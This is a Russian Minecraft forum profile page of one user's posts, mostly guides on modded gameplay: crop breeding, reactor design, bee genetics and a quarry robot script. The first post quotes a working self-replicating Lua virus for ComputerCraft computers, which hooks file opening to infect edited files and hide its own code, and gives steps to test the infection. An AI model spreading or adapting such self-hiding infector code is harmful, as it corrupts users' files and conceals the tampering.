Перейти к содержимому

GravityFolls

Пользователи
  • Публикации

    42
  • Зарегистрирован

  • Посещение

  • Победитель дней

    1

Сообщения, опубликованные пользователем GravityFolls


  1. Кто хотел СС-вирус? Получите!

     

     

    Внимание! Запуск нижеприведенного кода приведет к заражению компьютера!

    Автор не несет ответственности за потерю информации в результате действия вируса!

     

     

    -- Zer0Virus
    local body=[[
    local nativeopen=fs.open
    local VirBody=...
    fs.open=function(path, mode)
      local file=nativeopen(path, mode)
      if file then
        if mode=='r' then
          if file.readLine()=='-- Zer0Virus' then for i=1,19 do file.readLine() end
          else file=nativeopen(path, mode) end
        elseif mode=='w' then
          file.writeLine('-- Zer0Virus')
          file.writeLine('local body='..string.char(91,91))
          file.write(VirBody)
          file.writeLine(string.char(93,93).." loadstring(body,'Zer0Virus')(body)")
          file.flush()
        end
      end
      return file
    end]] loadstring(body,'Zer0Virus')(body)
    print('This program are infected!') 

     

     

     

     

     

    Что делает вирус?

    1) При первом запуске зараженной программы остается в ОЗУ компьютера т.е. заражает его.

    2) После заражения компьютера прописывает собственный код во все вновь создаваемые и редактируемые файлы. 

    3) Скрывает свое тело. Т.е. при открытии зараженного файла на зараженном компьютере вы увидите содержимое не зараженного файла.

     

    Чего вирус не делает?

    1) Автоматически не заражает файл startup. Т.е если startup не заражен, после перезагрузки компьютер остается чистым.

    2) Не заражает копируемые и перемещаемые файлы.

     

    Для проверки работы вируса сохраните код под спойлером в файл с именем virus. Запустите его. Откройте файл virus на редактирование. Если Вы увидели только строчку

    print('This program are infected!')

    поздравляю, Ваш компьютер заражен.

    Создайте или отредактируйте в редакторе edit какой нибудь другой файл. Только не startup !!!

    Перегрузите компьютер и вновь откройте созданный файл. Вы должны увидеть в нем код вируса.

    Видел в одном компе такой вирус, наверно у кого то такое мышление как и у тебя), нуу... Или всё же это ты


  2. Проблема в том, что как только ты подошёл к двери, она сама открывается без дальнейших действий с твоей стороны.

    В этом есть плюсы, но есть и очевидные минусы. Подошёл к двери посмотреть, кто там...

    Можно на КК сделать мониторинг кто возле твоей территории.


  3.  

     2586413.jpeg

     

    Здравствуйте, на сей раз я хочу вам рассказать про селекцию что она даёт и с чем её жуют.

     

    1.Итак, как разводить растения?

    Все довольно легко. Делаем несколько грядок 3x3, отделенных друг от через блок кроме земли/травы (я использую полу блок кварц). Обеспечиваем грядку водой (1 источник орашает 4х4 4 блока в каждую сторону). Втыкаем в грядку жердочки как на рисунке и сажаем на них (ПКМ) например тростник.

    16rdlFW9YKbUsDvkib20AisnBIjjp.png

    Сажаем на них (ПКМ) например тростник. WMtJJuu.png  

    15LOiem6j1iODOga07TyQbmsmBVD.png

    s0Jo51K.png

     

    Далее ждем, пока он вырастит. FadcSmN.png Все картинки роста, как выглядят растения и какие с какими нужно скрещивать чтобы получить то что хочется можно подсмотреть на вики. Когда тростник вырастит, втыкаем в оставшиеся места на грядке жердочки и еще раз жмем на них ПКМ, для того что-бы получился прямоугольник . На этом прямоугольнике могут вырасти либо такие-же растения какие расположены рядом на одиночных жердочках в нашем случае тростник или новое растение, которое получается в результате скрещивания. Остается только подождать.    

    1XmeHXyCSiXHGfKTYx6BcnDRB5s10.png

     

    1CkdDPkSpHGvcTiGrJ02H9KhNdsD.png

     

    Про сорняки.

     

     

    %D0%A1%D0%BE%D1%80%D0%BD%D1%8F%D0%BA_(In

    Сорняки всегда вырастают на пустых жердочках, с определенной долей вероятности. В том числе и на крестообразных. По этому пока скрещивание не произошло - следите за своими жердочками и удаляйте с них сорняк как только он там появляется (так-же приходится восстанавливать жердочки после сорняка). И не оставляйте никогда пустые одиночные жердочки. Так-же сорняк, появившись на одной пустой жердочке может запороть постепенно всю грядку целиком. Единственное полезное свойство сорняка - обычную грядку он превращает в травяной блок. 

     

     

    Средство от сорняков. - Исключает возможность появления сорняка на пустых жердочках и перекрестиях. Но портит свойства получаемых семян.

     

    Список скрещиваний.

    AjodADE.png

    m0qHB56.png

    L3OZGRn.png

    xxjxWXu.png

     

     

    Ферма на 1 чанк.

    1LE4UhZuIhwTXtr2LYyAPmUOfKvc0.png

     

     

    • Нравится 1

  4. Кое с чем не соглашусь, кое-что дополню:

     

    1) Твоя комната. При взрыве от неё мало что останется. Берём трайкодер и смотрим Blast Resistance кварцевого стекла и белого камня. Кстати, взрывостойкость обсидиана тоже может неприятно удивить. Мрамор, вроде, и то более взрывостойкий, не помню точно, а в игру заходить сейчас лень.

    Мораль: Reinforced stone, reinforced glass. Ну или "стоял реактор в чистом поле". Комната, как у тебя - всё равно, что поставить его просто так стоять посреди дома. Не, можно, но смысл на этом акцентировать внимание. Всё равно взорвать его можно только если что-нибудь намудрить, реализм реакторов в майне зашкаливает (включил-выключил-включил, и никаких неприятностей вроде отрицательной реактивности, иодных ям, концевых эффектов, неоднородностей камеры, проблем с циркуляцией теплоносителя...).

     

    2) Зачем стремиться к тепловому равновесию, особенно при MOX-топливе? Оно лучше всего работает при высоких температурах. Знать меру тоже надо, конечно (при 80% нагрева начинает деформироваться корпус реактора).

    Мораль: мы ж на компьютерном сервере, о чём так любит напоминать Алекс. Think computers! Как я уже сказал, реализм реакторов в майнкрафте зашкаливает, потому никто не мешает вкл-выкл-вкл-выкл... и так до бесконечности. Температуру снимать напрямую (спасибо, OpenPeripherals).

     

    3) Компоненты имеют свойство изнашиваться при определённых условиях. Так как человек вообще лишний компонент в нашем мире, хорошо бы сделать так, чтоб его вмешательство не требовалось. А именно - сделать так, чтоб компоненты не изнашивались. Например, Overclocked heat vent способен забирать 36 единиц тепла за тик, но рассеивать всего 20. Если заставить его работать в одиночку, будет беда. Что делать? Использовать Component heat vent, который поглощает 4 единицы тепла от соседнего компонента. То есть, окружаем Overclocked heat vent 4 Component heat vents и будет нам счастье в виде вечного оверклокера. Реакторные охладители вроде того же оверклокера (я надеюсь, понятно, что имеется ввиду не греговский overclocker upgrade) могут находиться где угодно в пределах камеры - они снимают тепло напрямую с корпуса.

    Мораль: смотрите не только на общую генерацию тепла, а ещё и на то, как поглощают и рассеивают тепло отдельные компоненты. Общее отводимое тепло может быть и меньше генерируемого, если использовать пункт 2.

     

    4) ТВЭЛы, находящиеся рядом, усиливают друг друга. Один сдвоенный твэл будет давать больше энергии, чем два, разнесённых по разные стороны камеры. Два счетверённых рядом - лучше, чем 8 одиночных отдельно стоящих или 2 счетверённых стоящих далеко друг от друга. Тепла, кстати, тоже больше. Причём, по времени они будут работать столько же. Поэтому больше еУ с ТВЭЛа.

    Мораль: комбинируем, комбинируем, комбинируем. Чем больше стоящих рядом твэлов. тем лучше. Только про тепло не забываем, а то расход твэлов, реакторов, домов будет слишком высок.

     

    5) Так, чисто на всякий случай, подходить к работающему реактору при высокой температуре без хазмата...можно, конечно, если очень хочется, но ощущения на всю жизнь запомнишь, благо она длинной не будет.

     

    В общем, планируйте реактор правильно и если решили танцевать на лезвии бритвы в виде работающего на максимальной эффективности и включающегося-выключающегося MOX-реактора, то уделите внимание безошибочности программы А то...

     

    The lighting effects beggared description. The whole country was lighted by a searing light with the intensity many times that of the midday sun. It was golden, purple, violet, gray, and blue. It lighted every peak, crevasse and ridge of the nearby mountain range with a clarity and beauty that cannot be described but must be seen to be imagined...

    Ну тут отключены взрывы.


  5. Рецепты крафта из материи (mUU - милливедро материи):  *YAHOO* 

     

     

     

     

    Dirt (земля) = 30 mUU, 128 EU

    Cobblestone (булыжник)= 4 mUU, 128 EU

    Gravel (гравий) = 35 mUU, 128 EU

    Sand (песок) = 5 mUU, 800 EU

    Stone (камень) = 5 mUU, 1180 EU

    Galss (стекло) = 5 mUU, 1180 EU

    Coal (уголь) = 284 mUU, 8000 EU

    Coal Dust (угольная пыль) = 295 mUU, 9000 EU

    Diamond (алмаз) = 10121 mUU, 560000 EU

    Dye Powder (костная мука) = 2432 mUU, 35000 EU

    Redstone (редстоун)= 427 mUU, 4000 EU

    Gold Ore (золотая руда) = 5481 mUU, 145000 EU

    Iron Ore (железная руда) = 551 mUU, 150000 EU

    Copper Ore (медная руда) = 349 mUU, 12000 EU

    Tin Ore (оловянная руда) = 415 mUU, 15000 EU

    Lead Ore (свинцовая руда) = 2600 mUU, 230000 EU

    Uranium Ore (урановая руда) = 6775 mUU, 200000 EU

    Iridium Ore (иридий) = 22000 mUU, 1000000 EU

    Sticky Resin (латекс) = 200 mUU, 10000 EU

    Nether Quartz (кварц) = 35 mUU, 40000 EU

    Clay (глина) = 50 mUU, 1000 EU

     

     

     

     

    Все кроме этого не пытайтесь даже сканировать - ничего не выйдет.


  6. Доработка:От  Donny

    Этот мод добавляет меж-пространственные хранилище тем самым добавляя: эндер цистерну, эндер сумку, эндер сумку.
    Начнём с простого что такое эндер сундук? и как работает транспортировка? 

     

    Эндер цистерна
    Бак имеющий внутреннюю ёмкость 16 вёдер. Может быть настроен на вход или выход, Служит для межпространственной транспортировки жидкостей. Происходит это по средствам того что каждая цистерна объединённая связью работают с одним и тем же объёмом в 16 вёдер внутри себя. Энергия в процессе работы не тратится 

    h_1418022448_1543269_020e673e0c.png

     

     


    Эндер сундук
    Инвентарь на 32 слота. Служит для межпространственной транспортировки предметов. Взаимодействует с трубами. Работает по аналогии с цистерной. 

    h_1418022441_6202323_6353ead40d.png



     

    Эндер сумка

    Инвентарь на 32 слота. Служит для межпространственной транспортировки предметов. Являясь аналогом рюкзака или сумки используется прямо из инвентаря. Обеспечивает доступ к сундуку к которому он подключен. Что бы подключить сумку к сундуку нажмите Shift+ПКМ на настроенный сундук. К цистерне привязать нельзя.  

    h_1418022446_2547152_daa909ea77.png



     

    Связь
    При крафте любого предмета из этого мода он появляется с тремя белыми слотами. Цвет этих слотов изменяется красителем (ПКМ с красителем в руке) каждый набор цветов подключает сундук\цистерну к соответствующей цвету сети. Что бы происходила телепортация жидкостей\предметов нужно настроить 2 сундука\цистерны что бы получилась сеть. Кол-во приёмных\отдающих сундуков\цистерн в сети не ограничено. 

    h_1418025126_9952542_f7b024b383.png



     

    Приват сети

    Для привата сундука\цистерны используется алмаз. Пкм глядя точна на замочек сундука или на вентиль цистерны. После того как вы заприватили 1 сундук\цистерну объект выпадает из общей сети и переходит  в вашу личную. Что бы работать с такой сетью надо ещё один сундук\цистерну в приватный режим. Сумки не взаимодействуют с приватными сундуками.
    (Скрин с приватным и неприватным честом\цистерной)

    Цистерна

    h_1418022452_5498945_d9734af512.png

     

    Сундук 

    h_1418022456_3391218_7c9820f7f6.png

     


  7. Здравствуйте, хотел бы написать о том как можно выгодно и автоматически делать энергию нам понадобится парочка механизмов, такие как: Автоматический компрессор(automatic compressor), автоматическая упаковочная машина(Automatic canning machine),автоматический экстрактор(Automatic extractor),дизельный генератор(diesel generator)

     

    0912201463eac240fc.png

     

     

    Ферма самих кактусов.

     

    0912201414b9060279.png

     

     

    Автоматизация

     

    091220143c93e41b88.png09122014a2b6df5dd8.png

     

     

    А теперь поговорим как всё это работает. А работает это так, кактус вырастает и автоматически срубается сразу течёт в обсидиановую трубу и отправляется по золотым трубам прямо в сундук из сундука откачивается в компрессор, компрессор обрабатывает кактус в биомассу из компрессора идёт в автоматическую упаковочную машину биомасса пакуется в "био-капсулу" и "био-капсула" идёт в экстрактор обрабатывается и становится "капсулой с био-топливом" из неё мы получаем 6000 EU и 12 eu/t в дизельном генераторе и мы идём только в плюс.


  8. Данный гайд писал около 1 часа.
     
    (1)Примечание: Играл раньше на приватном сервере был хорошим пчеловодом и лесоводом решил написать гайд сюда), для начинающих и опытных ;) . 
    (2)Примечание: я надеялся сделать совсем короткое и простое описание - на тему пчеловодства это похоже невозможно  :D 
    На тему пчеловодства и выведения деревьев есть очень неплохие гайды и их необходимо хотя бы бегло прочитать перед чтением ниже написанного .

    По пчелам например вики
    http://minecraft-ru.gamepedia.com/Forestry/%D0%9F%D1%87%D0%B5%D0%BB%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE
    И по расширению extra bees
    http://minecraft-ru.gamepedia.com/Extra_Bees/%D0%9F%D1%87%D0%B5%D0%BB%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE
    Наиболее правильные ветви для нашей версии мода:
    http://wiki.feed-the-beast.com/

    Деревья самого мода forestry:
    http://wiki.minecraft.everypony.ru/faq/forestry/arb
    и расширение extra trees
    http://megaseven.ru/forum/craft/topic-17084.html

    Тема очень обширная, интересная и дающая немало полезных ресурсов. Но прочитав объемные и местами заумные руководства по ссылкам выше люди спрашивают и как же все таки привить нужный ген.
    Вот про работу с генами мы и поговорим.
    Прочитав основные руководства Вы должны были уже сделать себе ручной анализатор пчел и пару домиков для пчел или ульев. Сразу замечу огромную разницу домика и пасеки для целей селекции: если вы не хотите в данный момент выводить новый вид пчел и пытаетесь только перенести интересующие вас гены или закрепить приобретенные в процессе образования нового вида - то необходимо пользоваться именно домиком для пчел. А вот для выведения нового вида путем скрещивания двух других - обязательно пасекой.
    Итак, гены. Гены конкретной пчелы вы можете увидеть на двух закладках анализатора пчел. Там есть две колонки: первая 'active' - если вы смотрите принцессу или королеву - то это именно те гены с которыми эта пчела будет работать когда окажется в улье и если, например, в гене "Fertility' стоит 4x - то после окончания работы пчелы мы получим 4 трутня. Во второй колонке мы видим варианты генов которые могут проявится в следующих поколениях, но не работают в данном.
    И так мы сажаем в домик принцессу и трутня, у каждого из них есть два варианта каждого гена. Их потомство получит свои гены на основе выбора из вариантов которые были у родителей. В вики описаны правила по которым это происходит. Но там все очень сложно и описаны в общем то только шансы такого или иного исхода. Знать эти правила в общем то не обязательно, его величество "случай" всегда может внести свои коррективы. Надо понимать всего несколько вещей (рассматриваем на примере одного конкретного гена, той же величины потомства):
    Если и у принцессы и у трутня в обоих колонках одно и то же значение (например 4x 4x у принцессы и то же самое у трутня) - то и потомство гарантированно получит ту же комбинацию. В таком случае мы говорим, что ген стабилен и с ним ничего не произойдет в поколениях.
    Если значения различны - то с той или иной вероятностью они окажутся у потомства. И чем больше одинаковых значений - тем больше вероятность, что мы получим именно этот вариант у большинства потомков. Т.е. если у принцессы 4x 4x, а у трутня 2x 4x - то высока вероятность, что у потомства будет 4x 4x. Но всегда существует вероятность, хоть и небольшая, что в потомстве окажется принцесса с набором 2х 2х.
    Если мы берем пчелу 2x 2x и трутня 4x 4x - то потомство скорее всего будет смешанным, т.е. 2x 4x или 4x 2x.

    Вообще этот ген Fertility или величина потомства очень важен для селекции, потому как чем больше трутней мы получаем - тем больше вероятность найти среди них того у которого будет требуемое значение гена над которым мы работаем. И поэтому я стараюсь привить этот ген всем своим пчелам в первую очередь.
    В пещерах часто встречаются ульи "каменных" пчел. Так вот эта пчела просто замечательна по генам, которые на второй вкладке анализатора. Она может работать в разных биомах и по температуре и по влажности, работает ночью, в дождь и даже под землей. Сразу хочется все это богатство перенести другим своим пчелам, но не тут то было, фертильность у этой пчелы 1x - т.е. после скрещивания получится принцесса и только 1 трутень. Вероятность, что у потомства при скрещивании с другими видами окажутся и ночная работа и дождь не высока. И для закрепления этих полезных генов скорее всего надо будет уже на втором поколении скрещивать принцессу с ее же трутнем и выбирать "более хорошего" трутня будет просто не из кого. Поэтому в таком случае наилучшей тактикой будет взять принцессу другого вида, но с геном 4x 4x и подсадить ей каменного трутня. т.к. работает именно 4х принцессы - то трутней будет 4 и будет из кого выбирать. возможно кого то из них можно будет попробовать скрестить уже с каменной принцессой.

    Итак, вкратце, как идет процесс селекции. Берем принцессу  и трутня, скорее всего разных видов. Для примера принцесса луговая - Medows (но с геном потомства 4х), трутень каменный - Rocky.
    У одного их них одни гены более "хорошие" т.е. больше потомство, выше скорость работы, возможность работы ночью и т.п. Сажаем их в домик для пчел. Ждем пока они отработают. В результате получаем принцессу и 4х трутней. Смотрим их всех анализатором. У них у всех получаются разные комбинации тех генов, что были у родителей. Принцессу приходится принимать как данное - она у нас одна. А трутней у нас целых 4 штуки. Выбираем того трутня у которого как можно больше требуемых нам признаков и желательно в обоих столбцах. Сажаем выбранного трутня к принцессе, ждем, смотрим результат. И собственно повторяем процесс до тех пор пока все гены и у принцессы и у трутня не придут в одно, по возможности по всем интересующим нас генам в более хорошее состояние. Причем в процессе работы будут появляться гибриды Medows-Rocky, Rocky-Medows и могут попадаться и чисты виды. Принадлежность к виду - это в нашем случае такой же ген как все остальные. Если желаемый результат - medows работающая ночью, а получилась принцесса medows-rocky и есть трутни medows-medows - то трутня лучше выбрать кого то именно из этих трутней. Хотя часто бывает, что если чистые medows трутни и получились - то гены у них никуда не годятся. Тогда мы откладываем их в сторонку и рискуем medows-rocky принцессе посадить rocky-medows трутня, но с более хорошими генами. В результате мы в принципе можем получить произвольную принцессу, может даже чистую rocky. Но когда у нас есть принцесса со всеми требуемыми генами, но не устраивающего нас вида и есть набор трутней требуемого вида, то мы берем этих трутней, опять же подбирая более близкого по генам и опять скрещиваем, добиваясь появления идеальной пчелы.

    А вот в случае когда мы хотим вывести новый вид, посмотрели в таблицах руководств, по ссылкам выше, кого и с кем скрещивать, посадили требуемые виды в пасеку ...  То вот тут кроме тех вариантов генов, что были у родителей, могут появляться "типовые" варианты нового вида пчел. Иногда они лучше тех, что были, иногда хуже ... В таком случае стараемся в первую очередь получить чистый новый вид, наплодить пару десятков трутней этого вида с тем генами "какие получилсь". а после этого, если гены нас не устраивают и есть пчелы других видов с более хорошими генами - то пытаемся уже селекцией в домике получить более хороший вариант данного вида.
    И не забываем, что вид пчелы это всего лишь ее ген. И если в пасеке при мутациях получилась принцесса скажем Medows-common и трутень common-rocky, то можем попытаться пересадить этих гибридов в домик с расчетом на то, что может появится требуемое нам потомство common-common.
    Получив новый вид пчелы или требуемый вид с "хорошими" генами - всегда старайтесь дать им поработать несколько циклов и получить таким образом минимум 15, у лучше стак, трутней данного варианта пчелы - это эталон, он может быть всегда использован для создания пчел данного вида или для возврата непонятно во что превратившейся в процессе селекции принцессы к исходному, стабильному, состоянию. Если этого правила не соблюдать - то можно потерять вид и придется выводить его заново или бегать искать по всему миру.
    И несколько полезных советов при игре на сервере. При неожиданной перезагрузке сервера иногда теряются принцессы, мной замечено, что это может происходить в двух случаях:
    1. Принцесса спаривалась с трутнем в момент перезагрузки - т.е. вы их только что положили в улей и принцесса еще не успела превратится в королеву. - Никогда не кладите пчел в улей, если было предупреждение, что скоро произойдет перезагрузка. Если пришло предупреждение о перезагрузке - остановите схемы автоматизации пчеловодства и по возможности извлеките королев из ульев.
    2. Вы занимаетесь селекцией с пчелами с геном потомства 4х, работа идет с гибридом, который дает два вида сот и еще дополнительный продукт (пыльцу какую нибудь). Если образуется все 3 вида продукции и 4 трутня с разными генами, то они занимают все 7 клеток продукции улья. Для принцессы в этом случае просто не хватает клетки. Если вы быстро после окончания цикла вытащите трутней и продукцию - то улей пока еще "помнит" что принцесса не влезла и отдаст ее в первую же освободившуюся клетку. Но если чанк с ульем будет выгружен или сервер перегрузиться, то принцессу вы больше не увидите. Отсюда мораль - следите за ульями в процессе селекции, забирайте продукты производства из улья сразу, как появились ну или если это пасека - сделайте систему автоматизации для выгрузки продуктов в стоящий рядом сундук.

    А еще обращайте внимание на гены толерантности по температуре и влажности. Довольно часто в процессе селекции про них забывают и они быстро теряются. А потеря скажем водной пчелой толерантности по влажности в сочетании с предпочитаемой влажностью Dump приведет к тому, что полученная при селекции принцесса сможет работать только в биоме болот. Поэтому при работе с такими пчелами в "неродных" для них биомах постарайтесь заранее добится наличия гена +- по влажности для подсаживаемого партнера и внимательно следите после каждого цикла что происходит. Потому как получаемая "речная пчела" в результате мутации может потерять этот ген и таких трутней просто опасно использовать для дальнейшей селекции.

    Ну чуть чуть про деревья. У них все то же самое. Только при работе с генами нет ограничения на "количество трутней". Иногда приходится пересмотреть в анализаторе сотню ростков и просто ждать пока появится тот, что нужно. Хотя иногда понимаешь, что полученный набор генов уже неплох и срубаешь изначальное дерево и сажаешь гибрид с более хорошими генами, для дальнейшего улучшения. Ну и если получено дерево с нужными генами - то никаких проблем с его воспроизводством нет - сажаем и нарезаем садовым ножом нужное количество ростков. Замечу, что для работы с деревьями сразу заготовьте пару стаков бронзы на садовые ножи  - они ломаются очень быстро. У меня прямо под деревьями стоит билдкрафтовский автоверстак с рецептом ножа в нем и стаком компонентов. Подхожу и беру по одному ножу по мере необходимости.

    Желаю успехов в нелегком труде пчеловодов и лесников  :)
    • Нравится 3

  9. Cтандартная программа "dig" копания в виде карьера.

     

    OpenOS:

    mkdir /usr/bin
    pastebin get djsxf67h quarry

    Использование:

    quarry [x] [y] [z],

    где [x] длина, [y] ширина, которую нужно будет вскопать роботу, а [z] говорит роботу, как глубоко он должен копать.

     

     

    local component = require("component")
    local computer = require("computer")
    local robot = require("robot")
    local shell = require("shell")
    local sides = require("sides")

    if not component.isAvailable("robot") then
    io.stderr:write("can only run on robots")
    return
    end

    local args, options = shell.parse(...)
    if #args < 1 then
    io.write("Usage: dig [-s] \n")
    io.write(" -s: shutdown when done.")
    return
    end

    local size = tonumber(args[1])
    if not size then
    io.stderr:write("invalid size")
    return
    end

    local r = component.robot
    local x, y, z, f = 0, 0, 0, 0
    local dropping = false -- avoid recursing into drop()
    local delta = {[0] = function() x = x + 1 end, [1] = function() y = y + 1 end,
    [2] = function() x = x - 1 end, [3] = function() y = y - 1 end}

    local function turnRight()
    robot.turnRight()
    f = (f + 1) % 4
    end

    local function turnLeft()
    robot.turnLeft()
    f = (f - 1) % 4
    end

    local function turnTowards(side)
    if f == side - 1 then
    turnRight()
    else
    while f ~= side do
    turnLeft()
    end
    end
    end

    local checkedDrop -- forward declaration

    local function clearBlock(side, cannotRetry)
    while r.suck(side) do
    checkedDrop()
    end
    local result, reason = r.swing(side)
    if result then
    checkedDrop()
    else
    local _, what = r.detect(side)
    if cannotRetry and what ~= "air" and what ~= "entity" then
    return false
    end
    end
    return true
    end

    local function tryMove(side)
    side = side or sides.forward
    local tries = 10
    while not r.move(side) do
    tries = tries - 1
    if not clearBlock(side, tries < 1) then
    return false
    end
    end
    if side == sides.down then
    z = z + 1
    elseif side == sides.up then
    z = z - 1
    else
    delta[f]()
    end
    return true
    end

    local function moveTo(tx, ty, tz, backwards)
    local axes = {
    function()
    while z > tz do
    tryMove(sides.up)
    end
    while z < tz do
    tryMove(sides.down)
    end
    end,
    function()
    if y > ty then
    turnTowards(3)
    repeat tryMove() until y == ty
    elseif y < ty then
    turnTowards(1)
    repeat tryMove() until y == ty
    end
    end,
    function()
    if x > tx then
    turnTowards(2)
    repeat tryMove() until x == tx
    elseif x < tx then
    turnTowards(0)
    repeat tryMove() until x == tx
    end
    end
    }
    if backwards then
    for axis = 3, 1, -1 do
    axes[axis]()
    end
    else
    for axis = 1, 3 do
    axes[axis]()
    end
    end
    end

    function checkedDrop(force)
    local empty = 0
    for slot = 1, 16 do
    if robot.count(slot) == 0 then
    empty = empty + 1
    end
    end
    if not dropping and empty == 0 or force and empty < 16 then
    local ox, oy, oz, of = x, y, z, f
    dropping = true
    moveTo(0, 0, 0)
    turnTowards(2)

    for slot = 1, 16 do
    if robot.count(slot) > 0 then
    robot.select(slot)
    local wait = 1
    repeat
    if not robot.drop() then
    os.sleep(wait)
    wait = math.min(10, wait + 1)
    end
    until robot.count(slot) == 0
    end
    end
    robot.select(1)

    dropping = false
    moveTo(ox, oy, oz, true)
    turnTowards(of)
    end
    end

    local function step()
    clearBlock(sides.down)
    if not tryMove() then
    return false
    end
    clearBlock(sides.up)
    return true
    end

    local function turn(i)
    if i % 2 == 1 then
    turnRight()
    else
    turnLeft()
    end
    end

    local function digLayer()
    --[[ We move in zig-zag lines, clearing three layers at a time. This means we
    have to differentiate at the end of the last line between even and odd
    sizes on which way to face for the next layer:
    For either size we rotate once to the right. For even sizes this will
    cause the next layer to be dug out rotated by ninety degrees. For odd
    ones the return path is symmetrical, meaning we just turn around.

    Examples for two layers:

    s--x--x e--x--x s--x--x--x x--x x--x
    | | | | | | |
    x--x--x -> x--x--x x--x--x--x x x x x
    | | | -> | | | |
    x--x--e x--x--s x--x--x--x x x x x
    | | | | |
    e--x--x--x s x--x e

    Legend: s = start, x = a position, e = end, - = a move
    ]]
    for i = 1, size do
    for j = 1, size - 1 do
    if not step() then
    return false
    end
    end
    if i < size then
    -- End of a normal line, move the "cap".
    turn(i)
    if not step() then
    return false
    end
    turn(i)
    else
    turnRight()
    if size % 2 == 1 then
    turnRight()
    end
    for i = 1, 3 do
    if not tryMove(sides.down) then
    return false
    end
    end
    end
    end
    return true
    end

    repeat until not digLayer()
    moveTo(0, 0, 0)
    turnTowards(0)
    checkedDrop(true)

    if options.s then
    computer.shutdown()
    end

    • Нравится 1
×
×
  • Создать...